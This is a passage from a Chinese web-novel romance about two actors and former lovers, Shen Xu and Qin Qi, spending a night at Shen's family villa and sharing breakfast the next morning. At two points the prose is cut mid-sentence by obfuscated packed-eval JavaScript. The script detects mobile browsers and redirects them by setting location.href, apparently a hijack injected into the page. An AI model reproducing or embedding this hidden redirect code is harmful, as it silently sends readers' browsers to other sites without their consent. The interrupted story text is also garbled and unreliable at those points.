或许是老天都看这两个大半夜莫名其妙站在门外不进屋的人不顺眼，他俩还在那不停眼神拉丝的功夫，一阵风猛地吹过来，“砰”一声就把门关上了。 “……” 天公真是不作美，一下子就把旖旎的气氛毁了个干净。 虽然是他俩活该。 沈絮和秦祁相顾无言，一时之间，气氛诡异到谈情也像默哀。 直到两个人一不小心对上了眼。 顿时，本来还装作一本正经的两个人都憋不住了。 一阵被尽力压低，却又怎么都止不住的笑声就这么突兀地荡漾在黑夜里。 “神经病。”沈絮指着秦祁笑骂。 现在但凡是来个人，都能立刻打电话给精神病院让人给他俩抓走。 细想一下，在一个连星星都没亮几颗的深夜，万籁寂静的别墅区里突然响起一阵诡异的笑声。仔细一看，两个高大的身影正姿势扭曲地站在门边，其中一个还散着一头长发，脖子上绕着一圈白布，风吹过来，布条还跟着一晃一晃…… 一时之间都不知道是应该先报警还是应该先找人驱魔。 沈絮被自己的脑补再次气笑，一把搡开秦祁就要开门进屋。 秦某人不怕丢脸他还怕呢。 他的脸很金贵的好不好。 有的是人愿意为此投保五百万呢。 结果旁边一只手横空出世，一把就把沈絮拦住了。 “啧，”沈絮瞪了旁边的某人一眼，“干什么，要死啊？” 秦祁握着沈絮的肩膀，好声好气地把人往旁边挪了挪：“这么有纪念意义的时刻，不得我来扫开门么？” 老天都赏给秦祁这个满足他仪式感的机会啊。 沈絮被迫平移两三部，盯着秦祁，指指点点片刻，最终还是妥协地伸手。 “秦老师请。” 秦祁深知得了便宜就得卖乖这个道理，见好就收。 此人端端正正地站在门前，微微俯下身，双眼直视摄像头。 但不同于刚刚沈絮开门时的迅速，此时门锁里的人工智能再次上线，来来回回扫了好几圈后，才犹犹豫豫地吐出一句“认证成功”。 秦祁：？ “沈老师，都说物似主人形，这锁怎么这么不情愿啊？” 沈絮面无表情地摊手：“凡事多找找自己的原因，可能是你心不诚呢?” 秦祁当然不信这个邪。 此人耳聪目明，虽然只是第一次和这个人工智障见面，但短短十几二十分钟之内，秦祁已经熟练掌握了它的大部分用法。 只见秦祁轻点几下屏幕，就再次进入了这锁的面部数据库。 这次他毫不犹豫地戳进了最上面那行，他刚刚录入进去的数据。 ……然后就看到了让他眼前一黑的一张大脸。 因为被闪光灯刺激到而紧紧闭上的眼，下意识皱紧的眉，挤成一团的五官，刁钻角度下挤出的双下巴…… “……我将否认这个是我本人的照片。” 沈絮凑过去看了一眼，顿时原谅了一分钟前把自己挪开的秦祁。 “没事，”沈絮拍拍秦祁的肩，“能被识别出来的就是好照片。” 如果沈某人能坚持住不笑的话，这句话的可信度或许会高上那么一点点。 秦祁睨了沈絮一眼，敢怒不敢言。 他只敢一怒之下，狠狠地把自己的数据从人工智障的数据库里删除。 然后趁沈絮还没反应过来的时候飞快地点击录入键，并在0.1秒内调整出自己的营业照专用角度和表情。 “咔擦。” “完美。”秦祁端详着新出炉的大头照，愉快地晃起头。 沈絮勾着他的脖子，也往屏幕上看。 “秦老师在一个小小的门锁上也要展示你的黄金左脸吗？” 秦祁刚出道那阵，业务能力还比较生疏，拍杂志的时候总是爱露出左脸。再加上有一阵他和沈絮有个合作，在各个双人活动里总是往右偏头看着沈絮，所以那时候经常被人调侃他放不下自己的黄金左脸。 不过后来随着秦祁的业务能力逐渐成熟，物料不断翻新，粉丝不停迭代，旧事也慢慢不被重提，这个调侃也很久不被提起了。 这回被乍一下提起来，就连当事人自己都险些反应不过来。 “这都多少年前的梗了，”秦祁摇摇头，“沈老师不大跟得上时代啊。” 沈絮拖长了声音：“啊，嫌弃我。” “怎么敢？”秦祁笑，“怎么想都是我的责任，我以后会尽心尽力地给沈老师转发我的各种物料的。” 沈絮白他一眼，懒得搭理这个顺杆子往上爬的货，压着他扫了脸就推门往里走。 不然大半夜的不进屋，就站在外面干聊天，也不知道他们谁更有病一点。 一进门秦祁就能感觉出来，房子里确实没什么活人气。 沈絮倒是对别墅里的格局依然熟悉，摸着黑也能轻松把灯开了，然后头也不抬地从鞋柜里翻出一双拖鞋甩到秦祁脚下。 “新的，穿吧。” 秦祁应声，穿鞋的同时也不忘偷偷打量周围。 沈家老宅，给人的第一印象就是“冷”。 房子里处处干净整洁，就连摆来装饰的花也修剪得美轮美奂。 拍一张照，简直可以拿去当装修模板。 但就是因为一切都太合乎标准了，才让这座房子一点人烟味都没有。 就像一具，冰冷而又完美的标本。 沈絮带着秦祁简单地逛了一圈。 客厅、厨房、茶室等都被沈絮三言两语带过。 整个一楼，沈絮只在一个房间门口稍微停了下。 他回头看了眼秦祁，想了想，还是推开了房门。 秦祁本以为房间里有什么“洪水猛兽”，都做好了再次承接沈絮负面情绪的准备了。 但结果让他大吃一惊。 这是一间，奖杯陈列室。 从里到外，按照时间顺序摆满了沈絮从小到大获得的荣誉。 最外面的，是沈絮三岁时，在幼儿园获得的“围棋冠军”。 沈絮的目光也跟着一起落在那张奖状上。 他有些怀恋地笑，说：“其实只是一次小活动而已，参加的人加起来都不知道有没有五十个。但她坚持要把这个奖状好好保存起来，甚至还为此专门录了个视频，说什么‘这是小絮获得的第一个成就’……” 虽然没有明说这个“她”是谁，但秦祁心知肚明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14842445|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 还能是谁呢？只能是顾女士。 秦祁有那么一刹那觉得，或许沈絮说他的少年时代过得挺好，其实也不一定都是逞强。 毕竟，他的母亲确确实实地在竭尽自己所能地给予他爱。 在顾女士的细心保存下，沈絮大大小小的奖项至今也光鲜亮丽。 小学时的三好学生、初中的游泳冠军、高中的摄影作品一等奖…… 陈列柜的尽头，是一张奖状。 那是沈絮留在这个房间里的最后一样东西，来自他的十八岁。 那是一张竞赛省一等奖的奖状。 秦祁注意到，奖状的边缘，沾上了些许血渍。 “……” 下意识地，秦祁慌忙移开了目光。 房间的尽头还摆着一章写字桌，上面端端正正地放着一本相册。 沈絮没注意到秦祁刚刚那一瞬间的惊慌失措，误以为他是对相册好奇。 “想看吗？”沈絮招招手，“过来点吧。” 秦祁也没辩解，顺从地走到沈絮身边。 沈絮轻轻翻开相册，映入两人眼帘的第一张照片就是拿着棋子偷笑的小沈絮。 “其实就是我每次拿奖的时候留下的照片，也没什么稀奇。”沈絮说，“不过她会在每张照片后面都写点什么……对这些东西，她倒是比我自己还要上心。” 这间陈列室的两侧其实都有透明的玻璃柜子，但和刚刚他们一路看过来的左边不同，右边的柜子里空荡荡的，什么都没有。 这当然不是因为沈絮步了“小时了了，大未必佳”的后尘。 出道即影帝的沈絮，在后续的演员生涯里更是大大小小的奖项拿到手软。只要他想，小小半面柜子早已装不下他的成就。 但他没有。 那右边的柜子依旧空着，只是空着。 从陈列室里出来，沈絮一路带着秦祁上楼。 “二楼是会客的，三楼是主卧和他们的休闲区，四楼是我的地盘。”沈絮边走边说。 或许是夜已深，沈絮的介绍越发简便。 二楼沈絮还领着秦祁进去转了一圈，秦祁眼尖，看到有个房间一反常态，里面空荡荡的，什么也没有。 “那是沈若原来住的房间，”沈絮瞥了眼，说，“后来我嫌碍眼，就把里面清空了。” 秦祁点点头，也没多说什么。 到了三楼，沈絮干脆就不往里走了，只是站在楼梯口朝里面指指划划，告诉秦祁每个地方都是用来做什么的。 秦祁注意到，三楼最里面的房间的门锁，和这别墅里其他房间的都不一样。 那是一个密码锁。 ——这个房间不允许他人随意进入。 如果秦祁没记错，那应该是这座房子的主卧。 也就是，顾女士的卧室。 等上了四楼，沈絮总算显得松快些。 “我也好久没回来住了，”沈絮偏头看秦祁，“秦老师今晚想住哪啊？” 四楼的房间分布也很微妙。 除了沈絮的卧室，他的会客厅，还有一间客房。 秦祁的目光在沈絮卧室和它正对面的客房之间徘徊几次，说：“我哪敢说话，一切都由沈老师决定啊。” 30. 第 30 章 “你都这么乖了，那当然是跟我……”沈絮猛地凑近几步，背着手，仰头用鼻尖去蹭秦祁的脸。 秦祁能清楚感受到他们鼻尖相贴。 而他们的唇保持着一个更为暧昧的距离。 只需再近一分，那就是唇齿相依。 但沈絮偏偏没有。 他甚至伸手坏绕住秦祁的后颈，却偏偏不肯再进一寸。 于是他们就这样微妙地僵持着，一呼一吸间都是对方的气息，但却感受不到对方唇舌间的温度。 “——当然是跟我分开睡了。” 沈絮直到感受到秦祁的耳根微微发烫，才大发慈悲地松开手，悠然后撤几步。 然后就如愿看到了秦祁微微有些复杂的脸色。 “秦老师，你好不知足，”沈絮相当熟练地倒打一耙，“登堂就算了，你还想入室。” 上门就算了，他还想上床。 秦祁无言以对，只好乖乖认输。 老老实实进了客房以后，同样累了一天的秦祁脑子确实有些转不动了。 当沈絮领着他看清楚洗漱用品和毛巾都放在哪里，然后就转身离开客房后，秦祁满脑子就只剩下洗澡睡觉这两件事。 所以此人做脱衣服开热水洗澡这一套丝滑连招的时候，并没有意识到有什么不对劲。 直到他带着一身热气从淋浴间出来，抓起浴巾草草擦完身子以后，秦祁才终于明白刚刚那股怪异的感觉从何而来。 ——沈絮没有告诉他换洗衣物在哪里。 “……” 秦祁看着已经被自己丢弃到地上的，绝对不适合用来当睡衣的衬衫和西装裤，做了一番心理斗争后，挣扎着伸出手。 然后他就绝望地发现衣服已经湿了。 秦·活了二十五年也没有习惯裸睡·祁，有一点绝望。 “笃笃。” 就跟算好了似的，正当秦祁焦头烂额的时候，浴室门突然就被敲响了。 “秦老师，”一个熟悉的，憋着笑的声音隔着门闷闷地响起，“爱心快递。” 秦祁眉心一跳，拉开了浴室门。 果不其然，门外沈絮靠着墙，左手食指和中指上正吊着一件崭新的睡袍。 ……这人绝对是故意的。 秦祁深吸一口气，一言不发地接过浴袍往身上套。 沈絮倒也大大方方不遮不掩，任由自己的目光在秦祁身上来回扫射。 秦祁的身材本就是上佳，此时被浴室门口那质感极佳的灯光一照，更显得他身上的肌肉线条分明、色泽动人。 沈絮内心直感慨，当初装修时，负责灯具选品的那位真是个天才。 盯着沈絮那存在感极强的注视，秦祁又尴尬又无奈地把睡袍一拢，腰带一勒—— 哎？尺寸居然刚刚好？ 秦祁诧异抬头，一下就跟沈絮那毫不收敛的目光对了个正着。 秦祁：“沈老师的眼珠子怎么一动都不动的，在想什么呢？” 沈絮的眼珠子就很配合地转了一圈：“想，古人诚不欺我。” “灯下观美人，确实是独有一番韵味。” “怎么好全部归功于古人呢，”秦祁凑近几步，“沈老师自己分明也是有备而来啊。” “这里怎么会有我码数的睡袍啊，沈老师？” 秦祁的尾音又短又轻，与其说是询问，不如说是调戏还要更贴切些。 此人真是诡计多端，沈絮非礼他的时候，他把浴袍拢得紧紧的，现在换他倒打一耙，两步路的功夫，就把领口松了个七七八八。 沈絮挑眉，嘴角不经意地扬起。 真是近朱者赤，秦祁这死小子还真跟自己学坏了。 “均码而已，秦老师想多了吧。”沈絮不退反进，手指就跟有定位仪一样，一下就到秦祁腰带上绕起圈了。 “我这么周全的人，肯定是不管有没有客人来都要把东西备好的呀。” “这样啊，”秦祁握住沈絮在自己腰上作乱的手，问，“那周全的沈老师，你有没有觉得，我现在还少了一样东西？” 他身体是被遮住了，下边还凉飕飕的呢。 沈絮脸上可无辜，手上却不老实。秦祁刚握住沈絮的手，这人反手就开始拿指甲有一下没一下地刮秦祁掌心。 秦祁只觉一阵酥麻直冲大脑，差点整只手都要失去知觉。 奈何沈絮的嘴也一样不饶人。 “少了我的晚安吻吗？” “啊，我都要忘了，”秦祁笑，“加上这个，我现在是少两样东西了。” 沈絮这下是真憋不住了，一边拽着秦祁的胳膊避免自己笑成双折叠，一边把自己一直背在背后的另一只手伸出来。 连带着一盒全新未拆封的内裤一起。 秦祁一边拽着沈絮，免得他笑到打跌以头抢地，一边不容拒绝地从沈絮手里接过了那盒内裤。 秦祁翻过盒子一看，果然是他的码数没错。 “沈老师，这个也……？” 沈絮接收到秦祁那饶有趣味的眼神，一本正经地点头：“均码。” “哦，”秦祁松开手，边配合着作了解状，边退进浴室，“均码……” 门一关，沈絮的声音就听得不那么实了。 但秦祁依然可以如此清晰地在心里描绘出沈絮说话时的神态。 沈絮说：“送爱心活动就这么结束了，晚安，秦老师。” “等等，”秦祁觉得不对，“我的晚安吻呢？” 沈絮好像被这人的不要脸震撼了一下：“哇，这是你作为前任该说的话吗？” 秦祁毫不留情：“你今天干的哪件事又是前任该干的了？” “好吧，”沈絮觉得他说的有道理，“开门。” 门应声而开。 沈絮低头，轻吻自己左手二指，紧接着，又温柔地把手指贴在了秦祁唇上。 “好了，”沈絮边笑边退，“这回是真晚安了。” 秦祁趁沈絮手指还没完全离开，送了他一个啄吻。 他目送着沈絮离开，说：“晚安。” 于是，一夜好梦。 早上八点，秦祁被生物钟喊醒，在暗无天日的房间里睁眼。 对，暗无天日。 不得不说，四楼的装修一看就有沈絮的手笔。 就比如这个窗帘。 这个只要一拉上，遮光率就高达百分之九十的窗帘。 一看就是为了某个作息阴间昼夜颠倒的家伙量身定制的。 毕竟只要有了这个窗帘，就是睡到下午三四点，也不会被刺眼的阳光打扰到一星半点。 醒都醒了，秦祁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14859537|158327||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又没有赖床的习惯，当然也就起床洗漱去了。 走出房门时，秦祁不出所料地看到对面沈絮的房间房门紧闭，一点光都没露出来。 秦祁习以为常，打算等到中午再说。 他边下楼还边琢磨着，不知道这久没人住的房子里会不会准备食材。 要是冰箱里空无一物，他可能还得出去一趟，进行一些采购。 秦祁计划着，出门买东西回来，再做点burch，等做好了，应该也就差不多能叫沈絮起床了。 结果刚下到一楼，还没走出楼梯口，一阵食物香味就扑面而来。 秦祁有些惊讶，加快脚步走进厨房。 然后就看到，沈絮正在一脸悠闲地煎蛋。 “醒了？”沈絮微微侧头瞥他一眼，又转回去盯锅，“去岛台那坐着吧，马上好了。” 秦祁没动：“怎么起这么早，昨晚没睡好吗？” 沈絮没回话，只是用锅铲拨动着平底锅里的蛋液。 等一个完美的滑蛋出锅，沈絮才抽出空来回应。 “嗯？” 看着秦祁微微皱起的眉头和脸上若隐若现的担忧，沈絮过了两秒才反应过来他刚刚问了什么。 “怎么，”沈絮忍俊不禁，“我偶尔做一顿早饭，原因就只能是我睡不着没事干吗？” 不然呢。 毕竟按照此人的作息，休息的日子里是没有“上午”这个时间段存在的。 只有下午、晚上和凌晨。 沈絮：好吧。 “安心吧，”沈絮的手指轻轻覆上秦祁眉间，把他皱着的眉头揉开，“早起不一定是因为失眠，还可以因为加班。” 秦祁第一反应是松了口气。 一秒后。 “啊？” “是的，”沈絮沉痛地点头，“我们今天要加班。” 说完，沈絮就再次把目光转回餐台，端过刚烤好的面包，开始组装三明治。 “给你个任务，”沈絮头也不抬，“咖啡煮好了，去做两杯冰美式。” 秦祁应声，往咖啡机走去。 几分钟后，两人几乎同时端着食物开始往岛台走。 一前一后地走出厨房，一左一右地摆好早餐，再面对面坐下。 全程两人不发一言，却又默契地好像这么做过千百遍。 早餐是牛肉滑蛋三明治配冰美式。 秦祁尝了一口，被惊艳地眼睛亮了一下。 沈絮看着他，很坏心眼地要败他兴。 “恋综那边，一会要我们去录一个小活动，当特别物料来放松。” 听到加班工作内容，秦祁咀嚼的速度也慢下来。 “具体什么活动？” “大概就是读读评论什么的，老一套了。” 秦祁点头，刚想继续埋头苦吃，又想起来一个问题：“……我穿什么？” 昨天的衣服还没洗，就算水渍干了也皱巴巴的，出门还能凑合，穿去拍摄就实在不体面了。 秦祁刚想给小路发信息，就被沈絮按住了手。 “我这么周全，”沈絮语调里颇有些阴阳怪气，“当然是都给你准备好了。” “一会思雅就会带着衣服过来了。” 沈絮想了想，又说：“哦，不止衣服。还有个小惊喜。”